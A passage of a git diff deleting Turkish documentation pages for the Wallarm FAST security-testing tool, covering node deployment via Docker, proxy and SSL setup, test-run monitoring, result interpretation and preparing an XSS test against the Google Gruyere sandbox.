Dağıtım”[doc-integration-overview-api] veya “FAST ile CI/CD İş Akışı”[doc-integration-overview] belgelerine geri dönebilirsiniz. \ No newline at end of file diff --git a/docs/latest-tr/fast/poc/prerequisites.md b/docs/latest-tr/fast/poc/prerequisites.md deleted file mode 100644 index 9b525f1a30..0000000000 --- a/docs/latest-tr/fast/poc/prerequisites.md +++ /dev/null @@ -1,42 +0,0 @@ -[link-wl-portal-us]: https://us1.my.wallarm.com -[link-wl-portal-eu]: https://my.wallarm.com -[link-selenium]: https://www.seleniumhq.org/ - -[doc-create-node]: ../operations/create-node.md -[doc-about-token]: ../operations/internals.md#token -[doc-integration-overview]: integration-overview.md - - -# Entegrasyon Önkoşulları - -FAST'i bir CI/CD iş akışına entegre etmeyi etkinleştirmek için şunlara ihtiyacınız olacak - -* Wallarm hesabına ve FAST düğüm yönetimine erişim elde etmek için [Wallarm Satış Ekibi](mailto:sales@wallarm.com) ile iletişime geçin. -* FAST düğümünün Docker konteynerinin, HTTPS protokolü (`TCP/443`) üzerinden `us1.api.wallarm.com` Wallarm API sunucusuna erişimi olmalıdır ---8<-- "../include/fast/cloud-note.md" - - * CI/CD iş akışınız için Docker konteynerleri oluşturma ve çalıştırma izinleri - -* Güvenlik açıklarını test etmek için bir web uygulaması veya API (bir *hedef uygulama*) - - Bu uygulamanın iletişim için HTTP veya HTTPS protokolünü kullanması zorunludur. - - FAST güvenlik testi tamamlanana kadar hedef uygulama erişilebilir durumda kalmalıdır. - -* Hedef uygulamayı HTTP ve HTTPS istekleriyle test edecek bir test aracı (bir *istek kaynağı*). - - Bir istek kaynağı, bir HTTP veya HTTPS proxy sunucusuyla çalışabilmelidir. - - [Selenium][link-selenium], belirtilen gereksinimleri karşılayan bir test aracına örnektir. - -* Bir veya daha fazla [belirteç][doc-about-token]. -

              - - Wallarm cloud içinde bir FAST düğümü [oluşturun][doc-create-node] ve bir CI/CD görevi yürütürken Docker konteynerinde karşılık gelen belirteci kullanın. - - Belirteç, CI/CD işi yürütülürken FAST düğümlü Docker konteyneri tarafından kullanılacaktır. - - Aynı anda çalışan birden fazla CI/CD işiniz varsa, Wallarm cloud içinde uygun sayıda FAST düğümü oluşturun. - - !!! info "Örnek belirteç" - Bu kılavuz boyunca `token_Qwe12345` değeri bir belirteç örneği olarak kullanılmıştır. \ No newline at end of file diff --git a/docs/latest-tr/fast/poc/proxy-configuration.md b/docs/latest-tr/fast/poc/proxy-configuration.md deleted file mode 100644 index f61ad2c5b4..0000000000 --- a/docs/latest-tr/fast/poc/proxy-configuration.md +++ /dev/null @@ -1,23 +0,0 @@ -[doc-node-deployment-api]: node-deployment.md -[doc-fast-recording-mode]: ci-mode-recording.md#running-a-fast-node-in-recording-mode - -[doc-integration-overview]: integration-overview.md - - -# Proxy Kurallarının Yapılandırılması - -!!! warning "Dikkat" - Bu bölümde açıklanan adımları yalnızca FAST node ya [API][doc-node-deployment-api] üzerinden ya da [CI Mode (kayıt modu)][doc-fast-recording-mode] üzerinden dağıtılıyorsa gerçekleştirin. - -İstek kaynağınızı, hedef uygulamaya gönderilen tüm istekler için FAST node'u bir HTTP proxy olarak kullanacak şekilde yapılandırın. - -CI/CD altyapınızın FAST node’un Docker konteyneriyle nasıl etkileşim kurduğuna bağlı olarak, node’a aşağıdaki yollarla erişebilirsiniz: -* IP adresi. -* Alan adı. - -!!! info "Örnek" - Test aracınız bir Linux Docker konteyneri olarak çalışıyorsa, o konteynerden gelen tüm HTTP isteklerinin FAST node üzerinden proxy edilmesini etkinleştirmek için konteynere aşağıdaki ortam değişkenini iletebilirsiniz: - - ``` - HTTP_PROXY=http://: - ``` \ No newline at end of file diff --git a/docs/latest-tr/fast/poc/stopping-recording.md b/docs/latest-tr/fast/poc/stopping-recording.md deleted file mode 100644 index 28ca619f14..0000000000 --- a/docs/latest-tr/fast/poc/stopping-recording.md +++ /dev/null @@ -1,27 +0,0 @@ -[doc-get-token]: prerequisites.md#anchor-token -[doc-get-testrun-id]: node-deployment.md#obtaining-a-test-run - -[doc-about-recording]: ../operations/internals.md#test-run -[doc-stop-recording]: ../operations/stop-recording.md#stopping-the-recording-process-via-api -[doc-waiting-for-tests]: waiting-for-tests.md - -[doc-integration-overview]: integration-overview.md - -# Kayıt İşlemini Durdurma - -!!! info "Bölüm Önkoşulları" - Bu bölümde açıklanan adımları izlemek için aşağıdakileri edinmeniz gerekir: - - * [Belirteç][doc-get-token] - * Bir test çalıştırmasının [Tanımlayıcısı][doc-get-testrun-id] - - Aşağıdaki değerler bölüm genelinde örnek değerler olarak kullanılmıştır: - - * `token_Qwe12345` bir belirteç olarak - * `tr_1234` bir test çalıştırmasının tanımlayıcısı olarak - -Temel isteklerin kayıt sürecini API aracılığıyla [burada][doc-stop-recording] açıklanan adımları izleyerek durdurun. - -Kayıt süreci durdurulduktan sonra hedef uygulamanın güvenlik açıklarına karşı test edilmesi uzun sürebilir. FAST güvenlik testlerinin tamamlanıp tamamlanmadığını belirlemek için [bu belgedeki][doc-waiting-for-tests] bilgileri kullanın. - -Gerekirse [“FAST ile CI/CD İş Akışı”][doc-integration-overview] belgesine tekrar başvurabilirsiniz. \ No newline at end of file diff --git a/docs/latest-tr/fast/poc/waiting-for-tests.md b/docs/latest-tr/fast/poc/waiting-for-tests.md deleted file mode 100644 index d552054e6a..0000000000 --- a/docs/latest-tr/fast/poc/waiting-for-tests.md +++ /dev/null @@ -1,37 +0,0 @@ -[doc-get-token]: prerequisites.md#anchor-token -[doc-get-testrun-id]: node-deployment.md#obtaining-a-test-run -[doc-get-testrun-status]: ../operations/check-testrun-status.md - -[doc-get-testrun-status]: ../operations/check-testrun-status.md - -[doc-integration-overview]: integration-overview.md - -# Testin Tamamlanmasını Bekleme - -!!! info "Bölüm Önkoşulları" - Bu bölümde açıklanan adımları izlemek için şunları temin etmeniz gerekir: - - * bir [token][doc-get-token]. - * bir test çalıştırmasının [tanımlayıcısı][doc-get-testrun-id]. - - Bölüm boyunca örnek olarak aşağıdaki değerler kullanılır: - - * `token_Qwe12345` bir token olarak. - * `tr_1234` bir test çalıştırmasının tanımlayıcısı olarak. - -Test isteklerini oluşturma ve yürütme süreçleri, ilk temel (baseline) istek kaydedildiğinde başlar ve temel isteklerin kaydı durdurulduktan sonra da hatırı sayılır bir süre alabilir. Devam eden süreçlerle ilgili fikir edinmek için test çalıştırmasının durumunu periyodik olarak kontrol edebilirsiniz. - -[API çağrısını][doc-get-testrun-status] gerçekleştirdikten sonra, test çalıştırmasının durumuna ilişkin bilgiler içeren API sunucusundan bir yanıt alacaksınız. - -Uygulamada güvenlik açıklarının bulunup bulunmadığına, `state` ve `vulns` parametrelerinin değerlerine dayanarak karar verilebilir. - -??? info "Örnek" - API çağrısını periyodik olarak yaparak test çalıştırmasının durumunu sorgulayan bir süreç, API sunucusunun yanıtında `state:passed` parametresi bulunursa çıkış kodu `0` ile ve `state:failed` parametresi bulunursa çıkış kodu `1` ile sonlanabilir. - - Çıkış kodu değeri, genel CI/CD işinin durumunu hesaplamak için CI/CD aracı tarafından kullanılabilir. - - Bir FAST düğümü [CI modu](integration-overview-ci-mode.md) üzerinden dağıtıldıysa, FAST düğümünün çıkış kodu genel CI/CD işinin durumunu yorumlamak için yeterli olabilir. - - FAST etkinleştirilmiş CI/CD işinin CI/CD aracıyla nasıl etkileşime girmesi gerektiğine dair daha karmaşık bir mantık da kurulabilir. Bunu yapmak için, API sunucusunun yanıtında bulunabilecek diğer veri parçalarını kullanın. - - Gerekirse [“FAST ile CI/CD İş Akışı”][doc-integration-overview] belgesine tekrar başvurabilirsiniz. \ No newline at end of file diff --git a/docs/latest-tr/fast/qsg/deployment-options.md b/docs/latest-tr/fast/qsg/deployment-options.md deleted file mode 100644 index c8de39bb1f..0000000000 --- a/docs/latest-tr/fast/qsg/deployment-options.md +++ /dev/null @@ -1,77 +0,0 @@ ---- -description: FAST, FAST node ve Wallarm cloud’dan oluşan iki bileşenli bir çözümdür. Bu kılavuz, FAST node’un dağıtımını açıklar. ---- - -[img-fast-integration]: ../../images/fast/qsg/en/deployment-options/0-qsg-fast-depl.png -[img-fast-scheme]: ../../images/fast/qsg/en/deployment-options/1-qsg-fast-work-scheme.png -[img-fast-deployment-options]: ../../images/fast/qsg/en/deployment-options/2-qsg-fast-depl-options.png -[img-insecure-connection]: ../../images/fast/qsg/common/deployment-options/3-qsg-fast-depl-insecure-cert.png -[img-qsg-deployment-scheme]: ../../images/fast/qsg/en/deployment-options/4-qsg-fast-depl-scheme.png - -[link-https-google-gruyere]: https://google-gruyere.appspot.com - - -# Dağıtım seçenekleri - -FAST, FAST node ve Wallarm cloud’dan oluşan iki bileşenli bir çözümdür. Bu kılavuz, FAST node’un dağıtımını açıklar. - ---8<-- "../include/fast/cloud-note.md" - -Uygulama testlerini gerçekleştirmek için, HTTP veya HTTPS istekleri önce FAST node üzerinden proxy’lenir. FAST, buluttan alınan ilkeye göre özgün istekler temelinde yeni bir istek kümesi oluşturur. Yeni oluşturulan istekler bir güvenlik test kümesi meydana getirir ve uygulamayı güvenlik açıklarına karşı test etmek için yürütülür. - -![FAST ile test etme süreci][img-fast-integration] - -Temel istekler (uygulamalara gönderilen özgün istekler) farklı kaynaklardan elde edilebilir. Örneğin, temel istekler bir uygulama test uzmanı tarafından yazılabilir veya mevcut bir test otomasyon aracı tarafından oluşturulabilir. FAST, tüm temel isteklerin kötü amaçlı olmasını gerektirmez: güvenlik test kümesi meşru istekler temelinde de üretilebilir. FAST node, güvenlik test kümesini oluşturmak ve yürütmek için kullanılır. - -![FAST nasıl çalışır][img-fast-scheme] - - -## Mevcut dağıtım seçenekleri - -Üç FAST node dağıtım seçeneğinden birini tercih edebilirsiniz. Node kurulumu şu ortamlardan birinde bulunabilir: -1. Temel istek kaynağı olarak hizmet veren host (örneğin, bir test uzmanının dizüstü bilgisayarı) -2. Hedef uygulamanın bulunduğu host -3. Ayrılmış host - -![FAST dağıtım seçenekleri][img-fast-deployment-options] - - -## Başlıca dağıtım hususları - -FAST node, bir Docker konteyneri olarak sunulur ve Docker’ı destekleyen her platformda (Linux, Windows ve macOS dahil) çalıştırılabilir. - -FAST dağıtımı için Wallarm cloud üzerinde bir hesap zorunludur. Bulut, FAST yapılandırması için bir kullanıcı arayüzü sağlar. Test sonuçları da bulut tarafından toplanır. - -FAST node dağıtımını tamamladıktan sonra aşağıdakileri sağlamalısınız: -1. Node’un hedef uygulamaya erişimi olmalı. -2. Node’un Wallarm cloud’a erişimi olmalı. -3. Tüm temel HTTP veya HTTPS istekleri node üzerinden proxy’lenmeli. - -!!! info "SSL sertifikası kurulumu" - Hedef uygulamayla HTTPS kullanarak etkileşim kurmanız durumunda, istek kaynağı, FAST node kurulumundan elde edilen öz imzalı SSL sertifikasına güvenmeyebilir. Örneğin, istek kaynağı olarak Mozilla Firefox tarayıcısını kullanıyorsanız, benzer bir mesajla karşılaşabilirsiniz (diğer tarayıcılar veya istek kaynakları için farklı olabilir): - - ![“Güvenli olmayan bağlantı” mesajı][img-insecure-connection] - - Sertifika sorununu çözmek için iki seçeneğiniz vardır: - - 1. FAST node’dan alınan öz imzalı SSL sertifikasını, istek kaynağına güvenilir sertifika olarak kurun. - 1. Mevcut güvenilir SSL sertifikanızı FAST node’unuza kurun. - -## Hızlı Başlangıç kılavuzunda FAST dağıtımına özgü noktalar - -Bu kılavuz, node’un istek kaynağıyla yerel olarak kurulduğu dağıtım seçeneğini kullanarak FAST’in çalışma şeklini göstermeyi amaçlamaktadır. - -Bu kılavuzda kullanılan kurulumun aşağıdaki özellikleri vardır: - -* Temel istek kaynağı olarak Mozilla Firefox tarayıcısı kullanılır. -* Bir HTTPS temel isteği oluşturulur. -* FAST node’dan alınan öz imzalı SSL sertifikası tarayıcıya kurulur. -* Hedef uygulama olarak Google Gruyere kullanılır. -* Hedef uygulama, XSS güvenlik açıklarına karşı test edilir. -* İlke, Wallarm cloud’un web arayüzüyle oluşturulur. -* Test süreci, Wallarm cloud’un web arayüzüyle başlatılır. - -![Hızlı Başlangıç kılavuzu dağıtım şeması][img-qsg-deployment-scheme] - -!!! info "Google Gruyere" - Google Gruyere, güvenlik testleri için özel olarak geliştirilmiş bir uygulamadır. İçine kasıtlı olarak entegre edilmiş birçok güvenlik açığı barındırır. Bu nedenle, her uygulama örneği güvenlik gerekçesiyle izole bir sandbox içinde çalışır. Uygulamayla çalışmaya başlamak için adresine giderek Gruyere uygulamasının ayrılmış bir örneğiyle bir sandbox başlatmalısınız. \ No newline at end of file diff --git a/docs/latest-tr/fast/qsg/deployment.md b/docs/latest-tr/fast/qsg/deployment.md deleted file mode 100644 index 24e729563e..0000000000 --- a/docs/latest-tr/fast/qsg/deployment.md +++ /dev/null @@ -1,156 +0,0 @@ -[img-qsg-deployment-scheme]: ../../images/fast/qsg/en/deployment/5-qsg-fast-inst-scheme.png -[img-fast-create-node]: ../../images/fast/qsg/common/deployment/6-qsg-fast-inst-create-node.png -[img-firefox-options]: ../../images/fast/qsg/common/deployment/9-qsg-fast-inst-ff-options-window.png -[img-firefox-proxy-options]: ../../images/fast/qsg/common/deployment/10-qsg-fast-inst-ff-proxy-options.png -[img-insecure-connection]: ../../images/fast/qsg/common/deployment/11-qsg-fast-inst-untrusted-cert.png - -[link-https-google-gruyere]: https://google-gruyere.appspot.com -[link-docker-docs]: https://docs.docker.com/ -[link-wl-console]: https://us1.my.wallarm.com -[link-ssl-installation]: ../ssl/intro.md - -[wl-cloud-list]: ../cloud-list.md - -[anchor1]: #1-install-the-docker-software -[anchor2]: #2-obtain-a-token-that-will-be-used-to-connect-your-fast-node-to-the-wallarm-cloud -[anchor3]: #3-prepare-a-file-containing-the-necessary-environment-variables -[anchor4]: #4-deploy-the-fast-node-docker-container -[anchor5]: #5-configure-the-browser-to-work-with-the-proxy -[anchor6]: #6-install-ssl-certificates - - -# FAST düğümü dağıtımı - -Bu bölüm, FAST düğümünün kurulumu ve ilk yapılandırma sürecinde size yol gösterecektir. Gerekli tüm adımları tamamladığınızda çalışır durumda bir FAST düğümüne sahip olacaksınız. Düğüm, HTTP ve HTTPS isteklerini [Google Gruyere][link-https-google-gruyere] uygulamasına proxy’lemek üzere `localhost:8080` üzerinde dinliyor olacak. Düğüm, Mozilla Firefox tarayıcısı ile birlikte makinenize kurulacaktır. - -!!! info "Kullanılacak tarayıcı hakkında not" - Kılavuzda Mozilla Firefox tarayıcısını kullanmanız önerilir. Ancak, tüm HTTP ve HTTPS trafiğini FAST düğümüne gönderecek şekilde başarıyla yapılandırmanız koşuluyla dilediğiniz tarayıcıyı kullanabilirsiniz. - -![Kullanımda FAST düğümü dağıtım şeması][img-qsg-deployment-scheme] - -FAST düğümünü kurmak ve yapılandırmak için aşağıdakileri yapın: - -1. [Docker yazılımını kurun][anchor1]. -2. [FAST düğümünüzü Wallarm cloud’a bağlamak için kullanılacak bir belirteç (token) edinin][anchor2]. -3. [Gerekli ortam değişkenlerini içeren bir dosya hazırlayın][anchor3]. -4. [FAST düğümü Docker konteynerini dağıtın][anchor4]. -5. [Tarayıcıyı proxy ile çalışacak şekilde yapılandırın][anchor5]. -6. [SSL sertifikalarını kurun][anchor6]. - -## 1. Docker yazılımını kurun - -Makinenize Docker yazılımını kurun. Daha fazla bilgi için resmi Docker [kurulum kılavuzuna][link-docker-docs] bakın. - -Docker Community Edition (CE) kullanmanız önerilir. Ancak, herhangi bir Docker sürümü de kullanılabilir. - - -## 2. FAST düğümünüzü Wallarm cloud’a bağlamak için kullanılacak bir belirteç (token) edinin - -1. Wallarm hesabınızı kullanarak [My Wallarm portaline][link-wl-console] giriş yapın. - - Hesabınız yoksa, erişim almak için [Wallarm Sales Team](mailto:sales@wallarm.com) ile iletişime geçin. - -2. “Nodes” sekmesini seçin, ardından **Create FAST node** düğmesine (veya **Add FAST node** bağlantısına) tıklayın. - - ![Yeni bir düğümün oluşturulması][img-fast-create-node] - -3. Bir diyalog penceresi açılacaktır. Düğüme anlamlı bir ad verin ve **Create** düğmesini seçin. Kılavuz, `DEMO NODE` adını kullanmanızı önerir. - -4. Oluşturulan düğümün **Token** alanının üzerine fare imlecini getirin ve değeri kopyalayın. - - !!! info "Belirteç (token) hakkında not" - Belirteç, bir Wallarm API çağrısı ile de alınabilir. Ancak bu, bu belgenin kapsamı dışındadır. - -## 3. Gerekli ortam değişkenlerini içeren bir dosya hazırlayın - -FAST düğümünün çalışması için birkaç ortam değişkenini ayarlamanız gerekir. - -Bunu yapmak için bir metin dosyası oluşturun ve aşağıdaki metni ekleyin: - -``` -WALLARM_API_TOKEN=<2. adımda edindiğiniz belirteç değeri> -ALLOWED_HOSTS=google-gruyere.appspot.com -``` - -Ortam değişkenlerini ayarladınız. Amaçları aşağıdaki gibidir: -* `WALLARM_API_TOKEN` — düğümü Wallarm cloud’a bağlamak için kullanılan belirteç değerini ayarlar -* `ALLOWED_HOSTS` — güvenlik testi üretilecek isteklerin kapsamını sınırlar; güvenlik testleri yalnızca hedef uygulamanın bulunduğu `google-gruyere.appspot.com` alan adına yapılan isteklerden üretilecektir. - -!!! info "`ALLOWED_HOSTS` ortam değişkeninin kullanımı" - Tam nitelikli alan adını belirtmek zorunlu değildir. Bir alt dizi de kullanabilirsiniz (örn. `google-gruyere` veya `appspot.com`). - ---8<-- "../include/fast/wallarm-api-host-note.md" - -## 4. FAST düğümü Docker konteynerini dağıtın - -Bunu yapmak için aşağıdaki komutu çalıştırın: - -``` -docker run --name --env-file=<önceki adımda oluşturulan ortam değişkenleri dosyası> -p :8080 wallarm/fast -``` - -Komuta birkaç argüman sağlamalısınız: - -* **`--name`** *``* - - Docker konteynerinin adını belirtir. - - Tüm mevcut konteyner adları arasında benzersiz olmalıdır. - -* **`--env-file=`** *`<önceki adımda oluşturulan ortam değişkenleri dosyası>`* - - Konteynere aktarılacak tüm ortam değişkenlerini içeren bir dosyayı belirtir. - - [Önceki adımda][anchor3] oluşturduğunuz dosyanın yolunu belirtmelisiniz. - -* **`-p`** *``* **`:8080`** - - Konteynerin 8080 numaralı bağlantı noktasının eşleneceği Docker host’unun bağlantı noktasını belirtir. Varsayılan olarak konteyner bağlantı noktalarının hiçbiri Docker host’una açık değildir. - - Belli bir konteyner bağlantı noktasına Docker host’undan erişim vermek için `-p` argümanını kullanarak konteynerin dahili bağlantı noktasını harici bir bağlantı noktasına yayımlamalısınız. - - Ayrıca `-p ::8080` argümanını vererek konteynerin bağlantı noktasını host üzerindeki bir loopback olmayan IP adresine yayımlayabilir ve Docker host’u dışından da erişilebilir hale getirebilirsiniz. - -!!! info "`docker run` komutu örneği" - Aşağıdaki komutun çalıştırılması, `/home/user/fast.cfg` ortam değişkenleri dosyasını kullanarak `fast-node` adlı bir konteyneri başlatacak ve bağlantı noktasını `localhost:8080` olarak yayımlayacaktır: - - ``` - docker run --name fast-node --env-file=/home/user/fast.cfg -p 8080:8080 wallarm/fast - ``` - -Konteyner dağıtımı başarılı olursa, aşağıdakine benzer bir konsol çıktısı göreceksiniz: - ---8<-- "../include/fast/console-include/qsg/fast-node-deployment-ok.md" - -Artık Wallarm cloud’a bağlı, çalışmaya hazır bir FAST düğümüne sahip olmalısınız. Düğüm, `google-gruyere.appspot.com` alanına yönelik istekleri temel (baseline) olarak tanıyarak `localhost:8080` üzerinde gelen HTTP ve HTTPS isteklerini dinlemektedir. - - -## 5. Tarayıcıyı proxy ile çalışacak şekilde yapılandırın - -Tarayıcıyı tüm HTTP ve HTTPS isteklerini FAST düğümü üzerinden proxy’leyecek şekilde yapılandırın. - -Mozilla Firefox tarayıcısında proxy kurulumu için aşağıdakileri yapın: - -1. Tarayıcıyı açın. Menüden “Preferences” öğesini seçin. “General” sekmesini seçin ve “Network Settings” bölümüne kadar aşağı kaydırın. **Settings** düğmesini seçin. - - ![Mozilla Firefox seçenekleri][img-firefox-options] - -2. “Connection Settings” penceresi açılmalıdır. **Manual proxy configuration** seçeneğini seçin. Proxy’yi aşağıdaki değerleri girerek yapılandırın: - - * **`localhost`** adresini HTTP proxy adresi, **`8080`** değerini HTTP proxy bağlantı noktası olarak. - * **`localhost`** adresini SSL proxy adresi, **`8080`** değerini SSL proxy bağlantı noktası olarak. - - Yaptığınız değişiklikleri uygulamak için **OK** düğmesini seçin. - - ![Mozilla Firefox proxy ayarları][img-firefox-proxy-options] - - -## 6. SSL sertifikalarını kurun - -[Google Gruyere][link-https-google-gruyere] uygulamasıyla HTTPS üzerinden çalışırken, güvenli bağlantının kesilmesine ilişkin aşağıdaki tarayıcı mesajıyla karşılaşabilirsiniz: - -![“Güvenli olmayan bağlantı” mesajı][img-insecure-connection] - -Web uygulamasıyla HTTPS üzerinden etkileşim kurabilmek için, kendinden imzalı FAST düğümü SSL sertifikasını eklemeniz gerekir. Bunu yapmak için bu [bağlantıya][link-ssl-installation] gidin, listeden tarayıcınızı seçin ve açıklanan gerekli adımları uygulayın. Bu kılavuz, Mozilla Firefox tarayıcısını kullanmanızı önerir. - -FAST düğümünüzü çalıştırıp yapılandırdıktan sonra, bu bölümün tüm hedeflerini tamamlamış olmalısınız. Bir sonraki bölümde, birkaç temel isteğe dayanarak bir dizi güvenlik testi oluşturmak için gerekenleri öğreneceksiniz. \ No newline at end of file diff --git a/docs/latest-tr/fast/qsg/test-interpretation.md b/docs/latest-tr/fast/qsg/test-interpretation.md deleted file mode 100644 index 54fd5e6d09..0000000000 --- a/docs/latest-tr/fast/qsg/test-interpretation.md +++ /dev/null @@ -1,103 +0,0 @@ -[img-dashboard]: ../../images/fast/qsg/common/test-interpretation/25-qsg-fast-test-int-dashboard.png -[img-testrun]: ../../images/fast/qsg/common/test-interpretation/27-qsg-fast-test-int-testrun-screen.png -[img-test-run-expanded]: ../../images/fast/qsg/common/test-interpretation/28-qsg-fast-testrun-opened.png -[img-status-passed]: ../../images/fast/qsg/common/test-interpretation/passed-colored.png -[img-status-failed]: ../../images/fast/qsg/common/test-interpretation/failed-colored.png -[img-status-inprogress]: ../../images/fast/qsg/common/test-interpretation/in-progress.png -[img-status-error]: ../../images/fast/qsg/common/test-interpretation/error-colored.png -[img-status-waiting]: ../../images/fast/qsg/common/test-interpretation/waiting-colored.png -[img-status-interrupted]: ../../images/fast/qsg/common/test-interpretation/interrupted-colored.png -[img-testrun-expanded]: ../../images/fast/qsg/common/test-interpretation/29-qsg-fast-test-int-testrun-expanded.png -[img-log]: ../../images/fast/qsg/common/test-interpretation/30-qsg-fast-test-int-testrun-log.png -[img-vuln-description]: ../../images/fast/qsg/common/test-interpretation/31-qsg-fast-test-int-events-vuln-description.png -[img-vuln-details]: ../../images/fast/qsg/common/test-interpretation/32-qsg-fast-int-issue-details.png - -[link-previous-chapter]: test-run.md -[link-wl-console]: https://us1.my.wallarm.com -[link-how-to-search]: https://docs.wallarm.com/en/user-en/use-search-en.html - - - -# Test sonuçlarının yorumlanması - -Bu bölüm, [My Wallarm portal][link-wl-console] üzerindeki test sonuçlarını yorumlama araçlarına genel bir bakış sağlayacaktır. Bu bölümün sonunda, [önceki bölümde][link-previous-chapter] keşfedilen XSS zafiyeti hakkında ek bilgiler edinmiş olacaksınız. - -1. Hızlıca neler olup bittiğine bakmak için "Dashboards → FAST" sekmesine tıklayın. Dashboard, seçilen zaman aralığı için tüm test çalıştırmalarının ve durumlarının bir özetini ve zafiyet sayılarını sunar. - - ![Dashboard][img-dashboard] - - - - - -2. “Test runs” sekmesini seçerseniz, aşağıdakiler gibi her biri hakkında kısa bilgilerle birlikte tüm test çalıştırmalarının listesini görebilirsiniz: - - * Test çalıştırmasının durumu (devam ediyor, başarılı veya başarısız) - * Bir temel istek kaydı devam edip etmediği - * Kaç temel istek kaydedildiği - * Hangi zafiyetlerin bulunduğu (varsa) - * Hedef uygulamanın alan adı - * Test üretimi ve yürütümünün nerede gerçekleştiği (düğüm veya bulut) - - ![Test çalıştırmaları][img-testrun] - -3. Üzerine tıklayarak bir test çalıştırmasını ayrıntılı olarak inceleyin: - - ![Genişletilmiş test çalıştırması][img-test-run-expanded] - - Genişletilmiş bir test çalıştırmasından aşağıdaki bilgileri edinebilirsiniz: - - * İşlenen temel istek sayısı - * Test çalıştırmasının oluşturulma tarihi - * Test çalıştırmasının süresi - * Hedef uygulamaya gönderilen istek sayısı - * Temel isteklerin test edilmesi sürecinin durumu: - - * **Passed** ![Durum: Passed][img-status-passed] - - Verilen temel istek için herhangi bir zafiyet bulunmadı (bu, seçilen test ilkesine bağlıdır — başka bir ilke seçerseniz bazı zafiyetler bulunabilir) veya test ilkesi isteğe uygulanabilir değildir. - - * **Failed** ![Durum: Failed][img-status-failed] - - Verilen temel istek için zafiyetler bulundu. - - * **In progress** ![Durum: In progress][img-status-inprogress] - - Temel istek zafiyetler için test ediliyor. - - * **Error** ![Durum: Error][img-status-error] - - Test süreci hatalar nedeniyle durduruldu. - - * **Waiting** ![Durum: Waiting][img-status-waiting] - - Temel istek test için kuyruğa alındı. Aynı anda yalnızca sınırlı sayıda istek test edilebilir. - - * **Interrupted** ![Durum: Interrupted][img-status-interrupted] - - Test süreci ya manuel olarak kesildi («Actions» → «Interrupt») ya da aynı FAST düğümünde başka bir test çalıştırması yürütüldü. - -4. Bir temel isteği ayrıntılı olarak incelemek için üzerine tıklayın: - - ![Test çalıştırması genişletildi][img-testrun-expanded] - - Her bir temel istek için aşağıdaki bilgiler sağlanır: - - * Oluşturulma zamanı - * Hedef uygulamaya oluşturulup gönderilen test isteklerinin sayısı - * Kullanımdaki test ilkesi - * İstek işleme durumu - -5. İstek işlemenin tam günlüğünü görüntülemek için en sağdaki “Details” bağlantısını seçin: - - ![İstek işleme günlüğü][img-log] - -6. Bulunan zafiyetlerin genel görünümünü almak için “Issue” bağlantısına tıklayın: - - ![Zafiyetlerin kısa açıklaması][img-vuln-description] - - Bir zafiyeti ayrıntılı olarak incelemek için zafiyet açıklamasına tıklayın: - - ![Zafiyet ayrıntıları][img-vuln-details] - -Artık test sonuçlarını yorumlamanıza yardımcı olan araçlara aşina olmalısınız. \ No newline at end of file diff --git a/docs/latest-tr/fast/qsg/test-preparation.md b/docs/latest-tr/fast/qsg/test-preparation.md deleted file mode 100644 index 1143399356..0000000000 --- a/docs/latest-tr/fast/qsg/test-preparation.md +++ /dev/null @@ -1,105 +0,0 @@ -[img-test-scheme]: ../../images/fast/qsg/en/test-preparation/12-qsg-fast-test-prep-scheme.png -[img-google-gruyere-startpage]: ../../images/fast/qsg/common/test-preparation/13-qsg-fast-test-prep-gruyere.png -[img-policy-screen]: ../../images/fast/qsg/common/test-preparation/14-qsg-fast-test-prep-policy-screen.png -[img-wizard-general]: ../../images/fast/qsg/common/test-preparation/15-qsg-fast-test-prep-policy-wizard-general.png -[img-wizard-insertion-points]: ../../images/fast/qsg/common/test-preparation/16-qsg-fast-test-prep-policy-wizard-ins-points.png - -[link-previous-chapter]: deployment.md -[link-https-google-gruyere]: https://google-gruyere.appspot.com -[link-https-google-gruyere-start]: https://google-gruyere.appspot.com/start -[link-wl-console]: https://us1.my.wallarm.com - -[doc-policy-in-detail]: ../operations/test-policy/overview.md - -[gl-element]: ../terms-glossary.md#baseline-request-element -[gl-testpolicy]: ../terms-glossary.md#test-policy - -[anchor1]: #1-prepare-the-baseline-request -[anchor2]: #2-create-a-test-policy-targeted-at-xss-vulnerabilities - - -# Test için ortamı yapılandırma - -Bu bölüm, Google Gruyere uygulamasındaki XSS güvenlik açıklarını tespit etmek için FAST'in yapılandırılması sürecinde size rehberlik edecektir. Gerekli tüm adımları tamamladığınızda, XSS açıklarını bulmak amacıyla bir HTTPS temel isteğini FAST düğümü üzerinden proxy'lemek için hazır olacaksınız. - -Bir güvenlik test seti oluşturmak için Wallarm FAST aşağıdakilere ihtiyaç duyar: -* Temel istekleri proxy'leyen, kurulmuş bir FAST düğümü -* FAST düğümünün Wallarm cloud'a bağlantısı -* Bir temel istek -* Bir test politikası - -[önceki bölümde][link-previous-chapter] bir FAST düğümünü başarıyla dağıttınız ve buluta bağladınız. Bu bölümde bir [test politikası][gl-testpolicy] ve bir temel istek oluşturmaya odaklanacaksınız. - -![Kullanılan test şeması][img-test-scheme] - -!!! info "Bir test politikası oluşturma" - Test edilen her hedef uygulama için özel bir politika oluşturmanız şiddetle önerilir. Ancak, Wallarm cloud tarafından otomatik olarak oluşturulan varsayılan politikayı da kullanabilirsiniz. Bu belge, özel bir politika oluşturma sürecinde size rehberlik edecektir; varsayılan politika bu kılavuzun kapsamı dışındadır. - -Test için ortamı hazırlamak üzere aşağıdakileri yapın: - -1. [Temel isteği hazırlayın][anchor1] -2. [XSS güvenlik açıklarını hedefleyen test politikasını oluşturun][anchor2] - -!!! info "Hedef uygulama" - Bu örnekte hedef uygulama olarak [Google Gruyere][link-https-google-gruyere] kullanılmaktadır. Temel isteği yerel uygulamanıza oluşturuyorsanız, lütfen Google Gruyere adresi yerine bu uygulamayı çalıştıran makinenin IP adresini kullanın. - - IP adresini almak için `ifconfig` veya `ip addr` gibi araçları kullanabilirsiniz. - -## 1. Temel isteği hazırlayın - -1. Sağlanan temel istek [Google Gruyere][link-https-google-gruyere] uygulamasını hedeflediğinden, önce uygulamanın izole (sandbox) bir örneğini oluşturmalısınız. Ardından örneğin benzersiz tanımlayıcısını elde etmelisiniz. - - Bunu yapmak için şu [bağlantıya][link-https-google-gruyere-start] gidin. Size Google Gruyere örneğinin tanımlayıcısı verilecektir; bunu kopyalayın. Hizmet şartlarını okuyun ve **Agree & Start** düğmesini seçin. - - ![Google Gruyere başlangıç sayfası][img-google-gruyere-startpage] - - İzole Google Gruyere örneği çalıştırılacaktır. Aşağıdaki adres üzerinden size erişilebilir hale getirilecektir: - - `https://google-gruyere.appspot.com//` - -2. Google Gruyere uygulamasının kendi örneğinize temel 